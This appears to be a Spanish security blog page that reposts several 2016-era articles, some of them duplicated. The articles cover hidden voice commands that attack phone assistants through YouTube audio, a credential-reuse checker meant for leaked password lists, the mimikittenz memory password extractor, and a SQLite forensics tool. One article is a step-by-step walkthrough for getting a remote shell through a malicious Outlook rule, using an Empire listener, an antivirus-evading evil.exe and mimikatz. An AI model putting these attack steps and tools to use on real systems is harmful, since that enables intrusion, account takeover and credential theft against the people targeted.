Un grupo de investigadores de la Universidad de Berkeley California y la Universidad de Georgetown ha ideado un método para hackear dispositivos móviles mediante el uso de comandos de voz ocultos en vídeos de YouTube.
Y no necesariamente tiene que reproducirlo la víctima, basta con que reciba el sonido desde otro ordenador, televisión inteligente, teléfono, tablet, etc., los comandos ocultos serán recibidos por los asistentes Google Now! o Siri que los filtrarán del ruido ambiente y los ejecutarán.
Los investigadores publicaron los detalles de la técnica en un artículo titulado "Hidden Voice Commands"
"En este paper exploramos cómo pueden ser atacados con comandos de voz ocultos que son ininteligibles para los oídos humanos pero interpretados como comandos por algunos dispositivos".
Los investigadores han publicado un vídeo PoC del ataque en caja negra que se lleva a cabo con presencia de ruido de fondo y el teléfono objetivo a una distancia de varios metros de los altavoces utilizados para reproducir el audio/ataque.
Los atacantes pueden ocultar varios tipos de comandos en los videos, incluyendo las instrucciones para descargar e instalar un código malicioso desde un host determinado.
Los investigadores también sugieren una serie de contramedidas, incluyendo una notificación cada vez que un comando de voz es recibido por el móvil o la adopción de un sistema de pregunta-respuesta verbal.
Para más detalles técnicos os recomiendo echar un vistazo a la página oficial del proyecto: http://www.hiddenvoicecommands.com/
Fuente: http://www.hackplayers.com/2016/07/hackean-moviles-comandos-voz-youtube.html
Nueva técnica para hackear dispositivos móviles mediante comandos de voz ocultos en vídeos de Youtube
Publicado por
Unknown
en
22:02
miércoles, 13 de julio de 2016
Etiquetas:
comandos,
moviles,
youtube
0
comentarios
shard: una herramienta para comprobar si se utiliza la misma contraseña en varios sitios
Si hay algo imperativo en la sociedad digital actual es NO REUTILIZAR la misma contraseña para distintos servicios. La razón es simple: si uno de ellos es comprometido por ende cualquiera podrá obtener acceso al resto. No obstante, ya sea por la dificultad de recordar tantas contraseñas o por desconocimiento pura vagancia, son muchos los usuarios que todavía ponen la misma contraseña en varios de sus perfiles en redes sociales como Facebook, Twitter, LinkedIn, etc.
Y precisamente hoy vemos Shard, una herramienta para que los atacantes podamos detectar contraseñas compartidas desde la línea de comandos. Se trata de un fat jar (contiene todas las clases necesarias para hacerlo lo más portable posible) que si queréis podéis compilar vosotros mismos con
Uso
Sólo tenemos que indicar las credenciales a comprobar y la herramienta automatizará el proceso:
También es posible probar múltiples credenciales (ummm leaks...) indicando un fichero de texto que contenga cada línea con el formato "username":"password". Incluso se puede personalizar el formato con la opción --format.
Módulos
Actualmente soporta los siguientes módulos:
Aunque si queréis podéis añadir vuestros propios módulos fácilmente creando una nueva clase heredada de AbstractModule y añadiendo el módulo a ModuleFactory.
El AbstractModule tiene un método abstracto:
def tryLogin(creds: Credentials): Boolean
Este método toma un objeto de credenciales y devuelve un valor booleano que indica un inicio de sesión correcto. Se recomienda el uso de la TwitterModule como plantilla.
Dependencias
JSoup se utiliza para la comunicación HTTP y análisis de HTML
spray-json se utiliza para el manejo de JSON
Github: https://github.com/philwantsfish/shard
Y precisamente hoy vemos Shard, una herramienta para que los atacantes podamos detectar contraseñas compartidas desde la línea de comandos. Se trata de un fat jar (contiene todas las clases necesarias para hacerlo lo más portable posible) que si queréis podéis compilar vosotros mismos con
sbt assembly,
y también tiene una segunda implementación en python.Uso
Sólo tenemos que indicar las credenciales a comprobar y la herramienta automatizará el proceso:
$ java -jar shard-1.2.jar -u username-here -p password-here
21:16:25.950 [+] Running in single credential mode
21:16:30.302 [+] username-here:password-here - Reddit, Instagram
También es posible probar múltiples credenciales (ummm leaks...) indicando un fichero de texto que contenga cada línea con el formato "username":"password". Incluso se puede personalizar el formato con la opción --format.
$ java -jar shard-1.2.jar -f /tmp/creds.txt
21:16:39.501 [+] Running in multi-credential mode
21:16:39.516 [+] Parsed 2 credentials
21:16:42.794 [+] username1:password1 - Reddit, Instagram
21:16:45.189 [+] username2:password2 - Facebook, LinkedIn, Twitter
Módulos
Actualmente soporta los siguientes módulos:
$ java -jar shard-1.2.jar -l
Available modules:
Facebook
LinkedIn
Reddit
Twitter
Instagram
Aunque si queréis podéis añadir vuestros propios módulos fácilmente creando una nueva clase heredada de AbstractModule y añadiendo el módulo a ModuleFactory.
El AbstractModule tiene un método abstracto:
def tryLogin(creds: Credentials): Boolean
Este método toma un objeto de credenciales y devuelve un valor booleano que indica un inicio de sesión correcto. Se recomienda el uso de la TwitterModule como plantilla.
Dependencias
JSoup se utiliza para la comunicación HTTP y análisis de HTML
spray-json se utiliza para el manejo de JSON
Github: https://github.com/philwantsfish/shard
Fuente: http://www.hackplayers.com/
mimikittenz: extracción de contraseñas en claro con ReadProcessMemory()/regex
mimikittenz de Jamieson O'Reilly aka putterpanda (atentos a su foto de perfil en Github lol!) es una herramienta de post-explotación en powershell/C sharp que utiliza la función de Windows ReadProcessMemory() para extraer contraseñas en claro de varios procesos.
Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.
Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:
Webmail
- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS
- datos PII
- claves de cifrado y otros
Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:
Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:
Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre
Github: https://github.com/putterpanda/mimikittenz
Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.html
Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.
Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:
Webmail
- Gmail
- Office365
- Outlook Web
- Xero
- MYOB
- Juniper SSL-VPN
- Citrix NetScaler
- Remote Desktop Web Access 2012
- Jira
- Github
- Bugzilla
- Zendesk
- Cpanel
- Malwr
- VirusTotal
- AnubisLabs
- Dropbox
- Microsoft Onedrive
- AWS Web Services
- Slack
- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS
- datos PII
- claves de cifrado y otros
Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:
[mimikittenz.MemProcInspector]::AddRegex("","")
Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:
$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")
Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre
Github: https://github.com/putterpanda/mimikittenz
Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.html
Obteniendo un shell remoto mediante una regla de Outlook maliciosa
En la página de SilentBreak Security encontraba un escenario que puede resultar bastante interesante para atacantes, pentesters, curiosos y demás fauna...
Imagina que has conseguido las credenciales para acceder al correo electrónico de un usuario vía OWA, ya sea por fuera bruta, esnifando (las passwords graciosillos!), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.
Veamos cómo hacerlo en unos sencillos pasos...
1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:
sudo apt-get update
sudo apt-get install apache2
sudo a2enmod dav
sudo a2enmod dav_fs
sudo service apache2 restart
O si estás en una LAN o quieres hacer una PoC sencillita, simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.
2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito
En este caso utilizamos Empire, un agente post-explotación escrito puramente en Powershell que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida.
Con el imperio hemos topado...
Para hacer funcionar rápidamente Empire primero clonamos el repositorio git:
git clone https://github.com/PowerShellEmpire/Empire.git
A continuación abrimos la consola:
./empire
y lanzamos el listener con 'info' para ver las opciones y 'execute':
Empire) > listeners
[*] Active listeners:
ID Name Host Type Delay/Jitter KillDate Redirect Target
-- ---- ---- ------- ------------ -------- ---------------
1 test http://192.168.11.128:8080 native 5/0.0
(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > execute
Ya lo tenemos el listener "test" escuchando en el puerto 8080 :-D
3.- Llega el momento de construir el payload y para ello copiaremos la línea anterior de Empire en un .bat (evil.bat) y con el programita "BAT to EXE Converter" loconvertiremos directamente en ejecutable (evil.exe):
Lo curioso es que prácticamente todos los antivirus se tragan el binario:
http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32
4.- Después construimos la regla en el outlook para que ejecute la aplicación evil.exe al recibir un correo con un determinado asunto, en el ejemplo 'hackplayers'. La siguiente imagen es autoexplicativa:
Si lo prefieres, puedes utilizar el siguiente script en Python de Nick Landers para automatizar la creación de la regla creando un .rwz que podremos importar en Outlook con el mismo resultado:
https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc
5.- Finalmente sólo nos queda probar y vemos como, al recibir el correo, obtenemos una sesión remota al ejecutarse silenciosamente evil.exe:
Y bueno, ya que tenemos un shell remoto, pues elevamos privilegios y ejecutamos mimikatz para obtener las contraseñas en claro... ;)
Fuente: http://www.hackplayers.com/2015/12/shell-remoto-mediante-regla-outlook.html
Recuperar información eliminada de BBDD SQLite #Forsensics #SQLite #Python
Buena entrada de mis rss favoritos:
Hace unos años, mientras escribía Hacker Épico, me leía las especificaciones del formato de los ficheros SQLite para ver cómo podía recuperar información eliminada de estos ficheros e incluirlo como parte de uno de los capítulos del libro. Aún estaba lejos de ver el libro terminado, de que llegara el día de la presentación del libro y mucho menos de verlo convertido en un cómic en edición deluxe, pero tenía claro que el libro tenía que aportar investigaciones novedosas para estar al nivel de la trama.
De aquel trabajo de varias semanas, además de los 0days de las cámaras de seguridad que dieron la vuelta al mundo, salió una serie de artículos en Security By Default dedicados al Análisis Forense de SQLite que dividí en siete partes ([1], [2], [3], [4], [5], [6] y [7]) y una charla sobre ello en Rooted CON 2013 que titulé "Te pique lo que te pique analiza un SQLite". Con todo este trabajo, salió además una herramienta que fue el germen de la web Recover Messages.
Figura 2: RootedCON 2013 "Te pique lo que te pique analiza un SQLite"
Esa mini utilidad realmente es un script en Python que recorre el fichero BTree de la base de datos y detecta aquellas secciones marcadas como libres para obtener su contenido. No es perfecta, ya que al igual que ocurre en un sistema de ficheros, hay muchos elementos externos que afectan a la estructura del archivo, como son la inserción (INSERT) de nuevo contenido o la defragmentación (VACUUM) de la base de datos.
Debido a su ligero funcionamiento, estas bases de datos son ampliamente usadas en aplicaciones móviles como por ejemplo hace WhatsApp o Twitter para almacenar mensajes. También en aplicaciones de escritorio mucho más complejas, como es el caso de las conversaciones de Skype o las cookies en Firefox. Por eso, se podíautilizar RecoverMessages con Skype, WhatsApp - en la última versión de WhatsApp para iPhone la base de datos sigue sin cifrar - o bases de datos de Twitter.
Pero pese a esas limitaciones y en función al origen del fichero, la herramienta es práctica para encontrar información que tal vez esclarezca un incidente de seguridad durante un proceso de análisis forense que deba realizar un perito, ya que tan solo una cookie recuperada o un trozo de mensaje podría llegar a ser más que suficiente para evidenciar un acontecimiento.
RecoverSQLite y DumpLite
Que no soy un programador experto no es ningún secreto, así que después de una primera versión llamada "recoversqlite.py", con ayuda de mi amigo WiredRatcreamos él creó una segunda versión mejorada llamada "dumplite", que además de las páginas libres, era capaz de encontrar bytes borrados entre celdas.
El uso es muy sencillo, solo hay que obtener el código de GitHub con gitclone e invocarlo con los parámetros deseados contra el fichero SQLite a analizar. Con la opción -h se muestra la ayuda tal y como se puede ver en esta captura durante una ejecución sobre Kali Linux.
Las propiedades del fichero y sus características se obtienen con el parámetro "-F". Entre las más relevantes, desde una perspectiva de investigación forense, son: (1) El número de páginas libres y (2) La codificación de los textos.
Para obtener el contenido de las secciones marcadas como libres, tanto en formatoASCII como en hexadecimal, se usa el parámetro "-u".
Como comentaba anteriormente, tras ejecutar la herramienta se obtienen volcados de información y no se recuperan directamente los registros que hayan sufrido un "DELETE" como si nada hubiera pasado. El trabajo debe realizarse luego para ir conectando los datos volcados entre sí y extraer lo que había allí antes de ser eliminado. Espero que os sea de utilidad y cualquier comentario o Commit será bienvenido.
Autor: Alejandro Ramos (@aramosf), escritor del libro "Hacker Épico"
Fuente: http://www.elladodelmal.com/2016/06/recuperar-informacion-eliminada-de-bbdd.html
Hace unos años, mientras escribía Hacker Épico, me leía las especificaciones del formato de los ficheros SQLite para ver cómo podía recuperar información eliminada de estos ficheros e incluirlo como parte de uno de los capítulos del libro. Aún estaba lejos de ver el libro terminado, de que llegara el día de la presentación del libro y mucho menos de verlo convertido en un cómic en edición deluxe, pero tenía claro que el libro tenía que aportar investigaciones novedosas para estar al nivel de la trama.
Figura 1: Recuperar información eliminada de una base de datos SQLite |
De aquel trabajo de varias semanas, además de los 0days de las cámaras de seguridad que dieron la vuelta al mundo, salió una serie de artículos en Security By Default dedicados al Análisis Forense de SQLite que dividí en siete partes ([1], [2], [3], [4], [5], [6] y [7]) y una charla sobre ello en Rooted CON 2013 que titulé "Te pique lo que te pique analiza un SQLite". Con todo este trabajo, salió además una herramienta que fue el germen de la web Recover Messages.
Figura 2: RootedCON 2013 "Te pique lo que te pique analiza un SQLite"
Figura 3: Recuperación de datos de una base de datos SQLite de Skype con RecoverMessages |
Debido a su ligero funcionamiento, estas bases de datos son ampliamente usadas en aplicaciones móviles como por ejemplo hace WhatsApp o Twitter para almacenar mensajes. También en aplicaciones de escritorio mucho más complejas, como es el caso de las conversaciones de Skype o las cookies en Firefox. Por eso, se podíautilizar RecoverMessages con Skype, WhatsApp - en la última versión de WhatsApp para iPhone la base de datos sigue sin cifrar - o bases de datos de Twitter.
Figura 4: Estructura general de un fichero SQLite |
Pero pese a esas limitaciones y en función al origen del fichero, la herramienta es práctica para encontrar información que tal vez esclarezca un incidente de seguridad durante un proceso de análisis forense que deba realizar un perito, ya que tan solo una cookie recuperada o un trozo de mensaje podría llegar a ser más que suficiente para evidenciar un acontecimiento.
RecoverSQLite y DumpLite
Que no soy un programador experto no es ningún secreto, así que después de una primera versión llamada "recoversqlite.py", con ayuda de mi amigo WiredRat
Figura 5: Dumplite en GitHub |
El uso es muy sencillo, solo hay que obtener el código de GitHub con gitclone e invocarlo con los parámetros deseados contra el fichero SQLite a analizar. Con la opción -h se muestra la ayuda tal y como se puede ver en esta captura durante una ejecución sobre Kali Linux.
Figura 6: Descarga de dumplite y menú de ayuda de la herramienta |
Las propiedades del fichero y sus características se obtienen con el parámetro "-F". Entre las más relevantes, desde una perspectiva de investigación forense, son: (1) El número de páginas libres y (2) La codificación de los textos.
Figura 7: accediendo a la información de un fichero SQLite |
Para obtener el contenido de las secciones marcadas como libres, tanto en formatoASCII como en hexadecimal, se usa el parámetro "-u".
Figura 8: Volcado de los datos de la base de datos SQLite obtenidas |
Como comentaba anteriormente, tras ejecutar la herramienta se obtienen volcados de información y no se recuperan directamente los registros que hayan sufrido un "DELETE" como si nada hubiera pasado. El trabajo debe realizarse luego para ir conectando los datos volcados entre sí y extraer lo que había allí antes de ser eliminado. Espero que os sea de utilidad y cualquier comentario o Commit será bienvenido.
Autor: Alejandro Ramos (@aramosf), escritor del libro "Hacker Épico"
Fuente: http://www.elladodelmal.com/2016/06/recuperar-informacion-eliminada-de-bbdd.html
Suscribirse a:
Entradas (Atom)